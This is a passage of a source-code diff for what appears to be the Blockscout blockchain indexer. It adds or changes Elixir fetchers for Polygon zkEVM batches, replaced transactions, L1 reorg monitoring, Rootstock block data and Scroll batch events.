transaction (new ID if the batch is just sequenced) + {sequence_id, l1_transactions, next_id, hash_to_id} = + res.result + |> get_transaction_hash("sendSequencesTxHash") + |> handle_transaction_hash(hash_to_id, next_id, l1_transactions, false) + + # Get ID for verify transaction (new ID if the batch is just verified) + {verify_id, l1_transactions, next_id, hash_to_id} = + res.result + |> get_transaction_hash("verifyBatchTxHash") + |> handle_transaction_hash(hash_to_id, next_id, l1_transactions, true) + + # Associate every transaction from batch with the batch number + l2_transactions_append = + l2_transaction_hashes + |> Kernel.||([]) + |> Enum.map(fn l2_transaction_hash -> + %{ + batch_number: number, + hash: l2_transaction_hash + } + end) + + batch = %{ + number: number, + timestamp: timestamp, + l2_transactions_count: Enum.count(l2_transactions_append), + global_exit_root: global_exit_root, + acc_input_hash: acc_input_hash, + state_root: state_root, + sequence_id: sequence_id, + verify_id: verify_id + } + + {[batch | batches], l2_transactions ++ l2_transactions_append, l1_transactions, next_id, hash_to_id} + end) + + # Update batches list, L1 transactions list and L2 transaction list + {:ok, _} = + Chain.import(%{ + polygon_zkevm_lifecycle_transactions: %{params: l1_transactions_to_import}, + polygon_zkevm_transaction_batches: %{params: batches_to_import}, + polygon_zkevm_batch_transactions: %{params: l2_transactions_to_import}, + timeout: :infinity + }) + + last_batch = + batches_to_import + |> Enum.max_by(& &1.number, fn -> nil end) + + if last_batch do + Instrumenter.set_latest_batch(last_batch.number, last_batch.timestamp) + end + + confirmed_batches = + Enum.filter(batches_to_import, fn batch -> not is_nil(batch.sequence_id) and batch.sequence_id > 0 end) + + # Publish update for open batches Views in BS app with the new confirmed batches + if not Enum.empty?(confirmed_batches) do + Publisher.broadcast([{:zkevm_confirmed_batches, confirmed_batches}], :realtime) + end + end + + defp perform_jsonrpc_requests(batch_start, batch_end, json_rpc_named_arguments, ignore_numbers) do + # For every batch from batch_start to batch_end request the batch info + requests = + batch_start + |> Range.new(batch_end, 1) + |> Enum.reject(fn batch_number -> + if Enum.member?(ignore_numbers, batch_number) do + Logger.warning("The batch #{batch_number} will be ignored.") + true + else + false + end + end) + |> Enum.map(fn batch_number -> + EthereumJSONRPC.request(%{ + id: batch_number, + method: "zkevm_getBatchByNumber", + params: [integer_to_quantity(batch_number), false] + }) + end) + + if requests == [] do + {:ok, []} + else + error_message = + &"Cannot call zkevm_getBatchByNumber for the batch range #{batch_start}..#{batch_end}. Error: #{inspect(&1)}" + + Helper.repeated_call(&json_rpc/2, [requests, json_rpc_named_arguments], error_message, 3) + end + end + + defp fetch_latest_batch_numbers(json_rpc_named_arguments) do + requests = [ + EthereumJSONRPC.request(%{id: 0, method: "zkevm_batchNumber", params: []}), + EthereumJSONRPC.request(%{id: 1, method: "zkevm_virtualBatchNumber", params: []}), + EthereumJSONRPC.request(%{id: 2, method: "zkevm_verifiedBatchNumber", params: []}) + ] + + error_message = &"Cannot call zkevm_batchNumber. Error: #{inspect(&1)}" + + {:ok, responses} = Helper.repeated_call(&json_rpc/2, [requests, json_rpc_named_arguments], error_message, 3) + + latest_batch_number = + Enum.find_value(responses, fn resp -> if resp.id == 0, do: quantity_to_integer(resp.result) end) + + virtual_batch_number = + Enum.find_value(responses, fn resp -> if resp.id == 1, do: quantity_to_integer(resp.result) end) + + verified_batch_number = + Enum.find_value(responses, fn resp -> if resp.id == 2, do: quantity_to_integer(resp.result) end) + + {latest_batch_number, virtual_batch_number, verified_batch_number} + end + + defp get_transaction_hash(result, type) do + case Map.get(result, type) do + "0x" <> transaction_hash -> transaction_hash + nil -> @zero_hash + end + end + + defp handle_transaction_hash(encoded_transaction_hash, hash_to_id, next_id, l1_transactions, is_verify) do + if encoded_transaction_hash != @zero_hash do + transaction_hash = Base.decode16!(encoded_transaction_hash, case: :mixed) + + id = Map.get(hash_to_id, transaction_hash) + + if is_nil(id) do + {next_id, [%{id: next_id, hash: transaction_hash, is_verify: is_verify} | l1_transactions], next_id + 1, + Map.put(hash_to_id, transaction_hash, next_id)} + else + {id, l1_transactions, next_id, hash_to_id} + end + else + {nil, l1_transactions, next_id, hash_to_id} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/replaced_transaction.ex b/apps/indexer/lib/indexer/fetcher/replaced_transaction.ex index 26585cc9aa47..152e719340d6 100644 --- a/apps/indexer/lib/indexer/fetcher/replaced_transaction.ex +++ b/apps/indexer/lib/indexer/fetcher/replaced_transaction.ex @@ -3,7 +3,7 @@ defmodule Indexer.Fetcher.ReplacedTransaction do Finds and updates replaced transactions. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger @@ -25,19 +25,22 @@ defmodule Indexer.Fetcher.ReplacedTransaction do metadata: [fetcher: :replaced_transaction] ] - @spec async_fetch([ - %{ - required(:nonce) => non_neg_integer, - required(:from_address_hash) => Hash.Address.t(), - required(:block_hash) => Hash.Full.t() - } - ]) :: :ok - def async_fetch(transactions_fields, timeout \\ 5000) when is_list(transactions_fields) do + @spec async_fetch( + [ + %{ + required(:nonce) => non_neg_integer, + required(:from_address_hash) => Hash.Address.t(), + required(:block_hash) => Hash.Full.t() + } + ], + boolean() + ) :: :ok + def async_fetch(transactions_fields, realtime?, timeout \\ 5000) when is_list(transactions_fields) do if ReplacedTransactionSupervisor.disabled?() do :ok else entries = Enum.map(transactions_fields, &entry/1) - BufferedTask.buffer(__MODULE__, entries, timeout) + BufferedTask.buffer(__MODULE__, entries, realtime?, timeout) end end @@ -61,7 +64,8 @@ defmodule Indexer.Fetcher.ReplacedTransaction do transaction_fields |> pending_entry() |> reducer.(acc) - end + end, + true ) final @@ -123,7 +127,7 @@ defmodule Indexer.Fetcher.ReplacedTransaction do Logger.error(fn -> [ "failed to update replaced transactions for transactions: ", - inspect(reason) + Exception.format(:error, reason, __STACKTRACE__) ] end) diff --git a/apps/indexer/lib/indexer/fetcher/rollup_l1_reorg_monitor.ex b/apps/indexer/lib/indexer/fetcher/rollup_l1_reorg_monitor.ex new file mode 100644 index 000000000000..426fb6a9a911 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/rollup_l1_reorg_monitor.ex @@ -0,0 +1,203 @@ +defmodule Indexer.Fetcher.RollupL1ReorgMonitor do + @moduledoc """ + A module to monitor and catch L1 reorgs and make queue of the reorg blocks + (if there are multiple reorgs) for rollup modules using this monitor. + + A rollup module uses the queue to detect a reorg and to do required actions. + In case of reorg, the block number is popped from the queue by that rollup module. + """ + + use GenServer + use Indexer.Fetcher + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Logger + + alias Explorer.Chain.Cache.LatestL1BlockNumber + alias Explorer.Chain.RollupReorgMonitorQueue + alias Indexer.Helper + + @fetcher_name :rollup_l1_reorg_monitor + @start_recheck_period_seconds 3 + + defp modules_can_use_reorg_monitor do + chain_type = Application.get_env(:explorer, :chain_type) + + case chain_type do + :optimism -> + [ + Indexer.Fetcher.Optimism.Deposit, + Indexer.Fetcher.Optimism.OutputRoot, + Indexer.Fetcher.Optimism.TransactionBatch, + Indexer.Fetcher.Optimism.WithdrawalEvent + ] + + :polygon_zkevm -> + [ + Indexer.Fetcher.PolygonZkevm.BridgeL1 + ] + + :scroll -> + [ + Indexer.Fetcher.Scroll.Batch, + Indexer.Fetcher.Scroll.BridgeL1 + ] + + :shibarium -> + [ + Indexer.Fetcher.Shibarium.L1 + ] + + _ -> + [] + end + end + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @doc """ + This function initializes L1 blocks reorg monitor for the current rollup + defined by CHAIN_TYPE. If the current chain is not a rollup, the module just + doesn't start. + + The monitor is launched for certain modules of the rollup defined in + `modules_can_use_reorg_monitor/0` function if a module starts (it can be + switched off by configuration parameters). Whether each module starts or not + is defined by the `requires_l1_reorg_monitor?` function of that module. + + The monitor starts an infinite loop of `eth_getBlockByNumber` requests + sending them every `block_check_interval` milliseconds to retrieve the + latest block number. To read the latest block number, RPC node of Layer 1 is + used, which URL is defined by `l1_rpc_url` function of the rollup module. + The `block_check_interval` is determined by the `get_block_check_interval` + helper function. After the `block_check_interval` is defined, the function + sends `:reorg_monitor` message to the GenServer to start the monitor loop. + + ## Returns + - `{:ok, state}` with the determined parameters for the monitor loop if at + least one rollup module is launched. + - `{:stop, :normal, %{}}` if the monitor is not needed. + """ + @impl GenServer + def handle_continue(:ok, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when RPC issues + :timer.sleep(2000) + + modules_using_reorg_monitor = + modules_can_use_reorg_monitor() + |> Enum.filter(& &1.requires_l1_reorg_monitor?()) + + if Enum.empty?(modules_using_reorg_monitor) do + # don't start reorg monitor as there is no module which would use it + {:stop, :normal, %{}} + else + l1_rpc = Enum.at(modules_using_reorg_monitor, 0).l1_rpc_url() + + json_rpc_named_arguments = Helper.json_rpc_named_arguments(l1_rpc) + + {:ok, block_check_interval, _} = Helper.get_block_check_interval(json_rpc_named_arguments) + + Process.send(self(), :reorg_monitor, []) + + {:noreply, + %{ + block_check_interval: block_check_interval, + json_rpc_named_arguments: json_rpc_named_arguments, + modules: modules_using_reorg_monitor, + prev_latest: 0 + }} + end + end + + @doc """ + Implements the monitor loop which requests RPC node for the latest block every + `block_check_interval` milliseconds using `eth_getBlockByNumber` request. + + In case of reorg, the reorg block number is pushed into rollup module's queue. + The block numbers are then popped by the rollup module from its queue and + used to do some actions needed after reorg. + + ## Parameters + - `:reorg_monitor`: The message triggering the next monitoring iteration. + - `state`: The current state of the process, containing parameters for the + monitoring (such as `block_check_interval`, `json_rpc_named_arguments`, + the list of rollup modules in need of monitoring, the previous latest + block number). + + ## Returns + - `{:noreply, state}` where `state` contains the updated previous latest block number. + """ + @impl GenServer + def handle_info( + :reorg_monitor, + %{ + block_check_interval: block_check_interval, + json_rpc_named_arguments: json_rpc_named_arguments, + modules: modules, + prev_latest: prev_latest + } = state + ) do + {:ok, latest} = Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + LatestL1BlockNumber.set_block_number(latest) + + if latest < prev_latest do + Logger.warning("Reorg detected: previous latest block ##{prev_latest}, current latest block ##{latest}.") + Enum.each(modules, &RollupReorgMonitorQueue.reorg_block_push(latest, &1)) + end + + Process.send_after(self(), :reorg_monitor, block_check_interval) + + {:noreply, %{state | prev_latest: latest}} + end + + @doc """ + Infinitely waits for the module to be initialized and started. + + ## Parameters + - `waiting_module`: The module which called this function. + + ## Returns + - nothing + """ + @spec wait_for_start(module()) :: any() + def wait_for_start(waiting_module) do + state = + try do + __MODULE__ + |> Process.whereis() + |> :sys.get_state() + catch + :exit, _ -> %{} + end + + if map_size(state) == 0 do + Logger.warning( + "#{waiting_module} waits for #{__MODULE__} to start. Rechecking in #{@start_recheck_period_seconds} second(s)..." + ) + + :timer.sleep(@start_recheck_period_seconds * 1_000) + wait_for_start(waiting_module) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/rootstock_data.ex b/apps/indexer/lib/indexer/fetcher/rootstock_data.ex new file mode 100644 index 000000000000..09b683e6563a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/rootstock_data.ex @@ -0,0 +1,170 @@ +defmodule Indexer.Fetcher.RootstockData do + @moduledoc """ + Refetch `minimum_gas_price`, `bitcoin_merged_mining_header`, `bitcoin_merged_mining_coinbase_transaction`, + `bitcoin_merged_mining_merkle_proof`, `hash_for_merged_mining` fields for blocks that were indexed before app update. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + alias EthereumJSONRPC.Blocks + alias Explorer.Chain.Block + alias Explorer.Repo + + @interval :timer.seconds(3) + @batch_size 10 + @concurrency 5 + @db_batch_size 300 + + defstruct blocks_to_fetch: [], + interval: @interval, + json_rpc_named_arguments: [], + batch_size: @batch_size, + max_concurrency: @concurrency, + db_batch_size: @db_batch_size + + def child_spec([init_arguments]) do + child_spec([init_arguments, []]) + end + + def child_spec([_init_arguments, _gen_server_options] = start_link_arguments) do + default = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments} + } + + Supervisor.child_spec(default, restart: :transient) + end + + def start_link(arguments, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, arguments, gen_server_options) + end + + @impl GenServer + def init(opts) when is_list(opts) do + Logger.metadata(fetcher: :rootstock_data) + + json_rpc_named_arguments = opts[:json_rpc_named_arguments] + + unless json_rpc_named_arguments do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.init to allow for json_rpc calls when running." + end + + state = %__MODULE__{ + blocks_to_fetch: nil, + interval: opts[:interval] || Application.get_env(:indexer, __MODULE__)[:interval], + json_rpc_named_arguments: json_rpc_named_arguments, + batch_size: opts[:batch_size] || Application.get_env(:indexer, __MODULE__)[:batch_size], + max_concurrency: opts[:max_concurrency] || Application.get_env(:indexer, __MODULE__)[:max_concurrency], + db_batch_size: opts[:db_batch_size] || Application.get_env(:indexer, __MODULE__)[:db_batch_size] + } + + Process.send_after(self(), :fetch_rootstock_data, state.interval) + + {:ok, state, {:continue, :fetch_blocks}} + end + + @impl GenServer + def handle_continue(:fetch_blocks, state), do: fetch_blocks(state) + + @impl GenServer + def handle_info(:fetch_blocks, state), do: fetch_blocks(state) + + @impl GenServer + def handle_info( + :fetch_rootstock_data, + %__MODULE__{ + blocks_to_fetch: blocks_to_fetch, + interval: interval, + json_rpc_named_arguments: json_rpc_named_arguments, + batch_size: batch_size, + max_concurrency: concurrency + } = state + ) do + if Enum.empty?(blocks_to_fetch) do + send(self(), :fetch_blocks) + {:noreply, state} + else + new_blocks_to_fetch = + blocks_to_fetch + |> Stream.chunk_every(batch_size) + |> Task.async_stream( + &{EthereumJSONRPC.fetch_blocks_by_numbers( + Enum.map(&1, fn b -> b.number end), + json_rpc_named_arguments, + false + ), &1}, + max_concurrency: concurrency, + timeout: :infinity, + zip_input_on_exit: true + ) + |> Enum.reduce([], &fetch_reducer/2) + + Process.send_after(self(), :fetch_rootstock_data, interval) + + {:noreply, %__MODULE__{state | blocks_to_fetch: new_blocks_to_fetch}} + end + end + + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + def handle_info( + {:DOWN, _ref, :process, _pid, reason}, + state + ) do + if reason === :normal do + {:noreply, state} + else + Logger.error(fn -> "Rootstock data fetcher task exited due to #{inspect(reason)}." end) + {:noreply, state} + end + end + + defp fetch_blocks(%__MODULE__{db_batch_size: db_batch_size, interval: interval} = state) do + blocks_to_fetch = db_batch_size |> Block.blocks_without_rootstock_data_query() |> Repo.all() + + if Enum.empty?(blocks_to_fetch) do + Logger.info("Rootstock data from old blocks are fetched.") + + {:stop, :normal, state} + else + [%Block{number: max_number} | _] = blocks_to_fetch + + Logger.info( + "Rootstock data will now be fetched for #{Enum.count(blocks_to_fetch)} blocks starting from #{max_number}." + ) + + Process.send_after(self(), :fetch_rootstock_data, interval) + + {:noreply, %__MODULE__{state | blocks_to_fetch: blocks_to_fetch}} + end + end + + defp fetch_reducer({:ok, {{:ok, %Blocks{blocks_params: block_params}}, blocks}}, acc) do + blocks_map = Map.new(blocks, fn b -> {b.number, b} end) + + for block_param <- block_params, + block = blocks_map[block_param.number], + block_param.hash == to_string(block.hash) do + block |> Block.changeset(block_param) |> Repo.update() + end + + acc + end + + defp fetch_reducer({:ok, {{:error, reason}, blocks}}, acc) do + Logger.error("failed to fetch: " <> inspect(reason) <> ". Retrying.") + [blocks | acc] |> List.flatten() + end + + defp fetch_reducer({:exit, {blocks, reason}}, acc) do + Logger.error("failed to fetch: " <> inspect(reason) <> ". Retrying.") + [blocks | acc] |> List.flatten() + end +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/batch.ex b/apps/indexer/lib/indexer/fetcher/scroll/batch.ex new file mode 100644 index 000000000000..da6d6054dcb1 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/batch.ex @@ -0,0 +1,828 @@ +defmodule Indexer.Fetcher.Scroll.Batch do + @moduledoc """ + The module for scanning L1 RPC node for the `CommitBatch` and `FinalizeBatch` events + which commit and finalize Scroll batches. + + The main function splits the whole block range by chunks and scans L1 Scroll Chain contract + for the batch logs (events) for each chunk. The found events are handled and then imported to the + `scroll_batches` and `scroll_batch_bundles` database tables. + + After historical block range is covered, the process switches to realtime mode and + searches for the batch events in every new block. Reorg blocks are taken into account. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Explorer.Helper, only: [hash_to_binary: 1] + + alias ABI.{FunctionSelector, TypeDecoder} + alias Ecto.Multi + alias EthereumJSONRPC.Logs + alias Explorer.Chain.Block.Range, as: BlockRange + alias Explorer.Chain.RollupReorgMonitorQueue + alias Explorer.Chain.Scroll.{Batch, BatchBundle, Reader} + alias Explorer.{Chain, Repo} + alias Indexer.Fetcher.RollupL1ReorgMonitor + alias Indexer.Fetcher.Scroll.Helper, as: ScrollHelper + alias Indexer.Helper + alias Indexer.Prometheus.Instrumenter + + # 32-byte signature of the event CommitBatch(uint256 indexed batchIndex, bytes32 indexed batchHash) + @commit_batch_event "0x2c32d4ae151744d0bf0b9464a3e897a1d17ed2f1af71f7c9a75f12ce0d28238f" + + # 32-byte signature of the event FinalizeBatch(uint256 indexed batchIndex, bytes32 indexed batchHash, bytes32 stateRoot, bytes32 withdrawRoot) + @finalize_batch_event "0x26ba82f907317eedc97d0cbef23de76a43dd6edb563bdb6e9407645b950a7a2d" + + @fetcher_name :scroll_batch + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(_, state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, state} + end + + # Validates parameters and initiates searching of the events. + # + # When first launch, the events searching will start from the first block + # and end on the `safe` block (or `latest` one if `safe` is not available). + # If this is not the first launch, the process will start from the block which was + # the last on the previous launch. + @impl GenServer + def handle_info(:init_with_delay, _state) do + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + _ <- RollupL1ReorgMonitor.wait_for_start(__MODULE__), + rpc = l1_rpc_url(), + {:rpc_undefined, false} <- {:rpc_undefined, is_nil(rpc)}, + {:scroll_chain_contract_address_is_valid, true} <- + {:scroll_chain_contract_address_is_valid, Helper.address_correct?(env[:scroll_chain_contract])}, + {:eip4844_blobs_api_url_undefined, false} <- + {:eip4844_blobs_api_url_undefined, env[:eip4844_blobs_api_url] == ""}, + start_block = env[:start_block], + true <- start_block > 0, + {last_l1_block_number, last_l1_transaction_hash} = Reader.last_l1_batch_item(), + json_rpc_named_arguments = Helper.json_rpc_named_arguments(rpc), + {:ok, block_check_interval, safe_block} <- Helper.get_block_check_interval(json_rpc_named_arguments), + {:start_block_valid, true, _, _} <- + {:start_block_valid, + (start_block <= last_l1_block_number || last_l1_block_number == 0) && start_block <= safe_block, + last_l1_block_number, safe_block}, + {:ok, last_l1_transaction} <- + Helper.get_transaction_by_hash(last_l1_transaction_hash, json_rpc_named_arguments), + # here we check for the last known L1 transaction existence to make sure there wasn't reorg + # on L1 while the instance was down, and so we can use `last_l1_block_number` as the starting point + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)} do + l1_chain_id = + case EthereumJSONRPC.fetch_chain_id(json_rpc_named_arguments) do + {:ok, id} -> + id + + {:error, reason} -> + Logger.warning( + "Cannot get Chain ID from L1 RPC. Reason: #{inspect(reason)}. The module will use fallback values from INDEXER_BEACON_BLOB_FETCHER_* env variables." + ) + + nil + end + + Process.send(self(), :continue, []) + + {:noreply, + %{ + block_check_interval: block_check_interval, + scroll_chain_contract: env[:scroll_chain_contract], + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: safe_block, + start_block: max(start_block, last_l1_block_number), + eth_get_logs_range_size: + Application.get_all_env(:indexer)[Indexer.Fetcher.Scroll][:l1_eth_get_logs_range_size], + eip4844_blobs_api_url: Helper.trim_url(env[:eip4844_blobs_api_url]), + l1_chain_id: l1_chain_id + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, %{}} + + {:rpc_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:scroll_chain_contract_address_is_valid, false} -> + Logger.error("L1 ScrollChain contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:eip4844_blobs_api_url_undefined, true} -> + Logger.error( + "Blockscout Blobs API URL is not defined. Please, check INDEXER_SCROLL_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL env variable." + ) + + {:stop, :normal, %{}} + + {:start_block_valid, false, last_l1_block_number, safe_block} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and scroll_batches table.") + Logger.error("last_l1_block_number = #{inspect(last_l1_block_number)}") + Logger.error("safe_block = #{inspect(safe_block)}") + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error( + "Cannot get last L1 transaction from RPC by its hash, latest block, or block timestamp by its number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, %{}} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check scroll_batches table." + ) + + {:stop, :normal, %{}} + + _ -> + Logger.error("L1 Start Block is invalid or zero.") + {:stop, :normal, %{}} + end + end + + @doc """ + The main function that scans RPC node for the batch logs (events), parses them, + and imports to the database (into the `scroll_batches` and `scroll_batch_bundles` tables). + + The function splits a given block range by chunks and scans the Scroll Chain contract + for the batch logs (events) for each chunk. The found events are handled and then imported + to the `scroll_batches` and `scroll_batch_bundles` database tables. + + After historical block range is covered, the function switches to realtime mode and + searches for the batch events in every new block. Reorg blocks are taken into account. + + ## Parameters + - `:continue`: The message that triggers the working loop. + - `state`: The state map containing needed data such as the chain contract address and the block range. + + ## Returns + - {:noreply, state} tuple with the updated block range in the `state` to scan logs in. + """ + @impl GenServer + def handle_info( + :continue, + %{ + block_check_interval: block_check_interval, + scroll_chain_contract: scroll_chain_contract, + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: end_block, + start_block: start_block, + eth_get_logs_range_size: eth_get_logs_range_size, + eip4844_blobs_api_url: eip4844_blobs_api_url, + l1_chain_id: l1_chain_id + } = state + ) do + time_before = Timex.now() + + last_written_block = + start_block..end_block + |> Enum.chunk_every(eth_get_logs_range_size) + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + if chunk_start <= chunk_end do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + {batches, bundles, start_by_final_batch_number} = + {chunk_start, chunk_end} + |> get_logs_all(scroll_chain_contract, json_rpc_named_arguments) + |> prepare_items(json_rpc_named_arguments, eip4844_blobs_api_url, l1_chain_id) + + import_items(batches, bundles, start_by_final_batch_number) + + last_batch = + batches + |> Enum.max_by(& &1.number, fn -> nil end) + + # credo:disable-for-next-line + if last_batch do + Instrumenter.set_latest_batch(last_batch.number, last_batch.commit_timestamp) + end + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(batches)} L1 batch(es), #{Enum.count(bundles)} L1 bundle(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + reorg_handle(reorg_block) + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + + {:ok, new_end_block} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Returns L1 RPC URL for this module. + Returns `nil` if not defined. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + ScrollHelper.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + for this module. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + module_config = Application.get_all_env(:indexer)[__MODULE__] + not is_nil(module_config[:start_block]) + end + + # Fetches `CommitBatch` and `FinalizeBatch` events of the Scroll Chain contract from an RPC node + # for the given range of L1 blocks. + @spec get_logs_all({non_neg_integer(), non_neg_integer()}, binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: [ + %{atom() => any()} + ] + defp get_logs_all({chunk_start, chunk_end}, scroll_chain_contract, json_rpc_named_arguments) do + {:ok, result} = + Helper.get_logs( + chunk_start, + chunk_end, + scroll_chain_contract, + [[@commit_batch_event, @finalize_batch_event]], + json_rpc_named_arguments, + 0, + Helper.infinite_retries_number() + ) + + Logs.elixir_to_params(result) + end + + # Extracts transaction inputs for specified transaction hashes from a list of blocks. + # + # ## Parameters + # - `blocks`: A list of block maps, each containing a "transactions" key with transaction data. + # - `transaction_hashes`: A list of transaction hashes to filter for. + # + # ## Returns + # A map where keys are transaction hashes and values are the corresponding transaction inputs and blob versioned hashes. + @spec get_transaction_input_by_hash([%{String.t() => any()}], [binary()]) :: %{ + binary() => {binary(), [binary()] | [] | nil} + } + defp get_transaction_input_by_hash(blocks, transaction_hashes) do + Enum.reduce(blocks, %{}, fn block, acc -> + block + |> Map.get("transactions", []) + |> Enum.filter(fn transaction -> + Enum.member?(transaction_hashes, transaction["hash"]) + end) + |> Enum.map(fn transaction -> + {transaction["hash"], {transaction["input"], transaction["blobVersionedHashes"] || []}} + end) + |> Enum.into(%{}) + |> Map.merge(acc) + end) + end + + # Extracts the L2 block range from the calldata or EIP-4844 blob of a batch commitment transaction. + # + # This function decodes the input data from either a `commitBatch` or + # `commitBatchWithBlobProof` function call. If the call is not exists, it takes the + # batch info from EIP-4844 blob. Determines the range of L2 block numbers included in the batch. + # + # ## Parameters + # - `input`: A binary string representing the input data of a batch commitment transaction. + # - `blob_versioned_hash`: A binary string representing the EIP-4844 blob hash (for post-Euclid phase). + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API to get EIP-4844 blobs (for post-Euclid phase). + # - `block_timestamp`: L1 block timestamp of the commitment transaction (for post-Euclid phase). + # - `batch_number`: The batch number corresponding to the batch commitment transaction (for post-Euclid phase). + # - `l1_chain_id`: Chain ID for L1 (for post-Euclid phase). + # + # ## Returns + # - A `BlockRange.t()` struct containing the minimum and maximum L2 block numbers included in the batch. + # - `nil` if the block range cannot be determined. + @spec input_to_l2_block_range( + binary(), + binary() | nil, + binary(), + DateTime.t(), + non_neg_integer(), + non_neg_integer() | nil + ) :: BlockRange.t() | nil + defp input_to_l2_block_range( + input, + blob_versioned_hash, + eip4844_blobs_api_url, + block_timestamp, + batch_number, + l1_chain_id + ) do + chunks = + input + |> String.downcase() + |> case do + # commitBatch(uint8 _version, bytes _parentBatchHeader, bytes[] _chunks, bytes _skippedL1MessageBitmap) + "0x1325aca0" <> encoded_params -> + [_version, _parent_batch_header, chunks, _skipped_l1_message_bitmap] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + %FunctionSelector{ + function: "commitBatch", + types: [ + {:uint, 8}, + :bytes, + {:array, :bytes}, + :bytes + ] + } + ) + + chunks + + # commitBatchWithBlobProof(uint8 _version, bytes _parentBatchHeader, bytes[] _chunks, bytes _skippedL1MessageBitmap, bytes _blobDataProof) + "0x86b053a9" <> encoded_params -> + [_version, _parent_batch_header, chunks, _skipped_l1_message_bitmap, _blob_data_proof] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + %FunctionSelector{ + function: "commitBatchWithBlobProof", + types: [ + {:uint, 8}, + :bytes, + {:array, :bytes}, + :bytes, + :bytes + ] + } + ) + + chunks + + # Post-Euclid-phase-2 + # commitBatches(uint8 version, bytes32 parentBatchHash, bytes32 lastBatchHash) + "0x9bbaa2ba" <> _encoded_params -> + nil + + # Post-Euclid-phase-2 + # commitAndFinalizeBatch(uint8 version, bytes32 parentBatchHash, (bytes batchHeader, uint256 totalL1MessagesPoppedOverall, bytes32 postStateRoot, bytes32 withdrawRoot, bytes zkProof)) + "0x27dcaf6f" <> _encoded_params -> + nil + end + + {:ok, l2_block_range} = + if is_nil(chunks) do + # this is post-Euclid phase, so we get L2 block range info from an EIP-4844 blob + get_l2_block_range_post_euclid( + eip4844_blobs_api_url, + blob_versioned_hash, + block_timestamp, + batch_number, + l1_chain_id + ) + else + # this is pre-Euclid phase, so we get L2 block range info from the calldata + get_l2_block_range_pre_euclid(chunks) + end + + 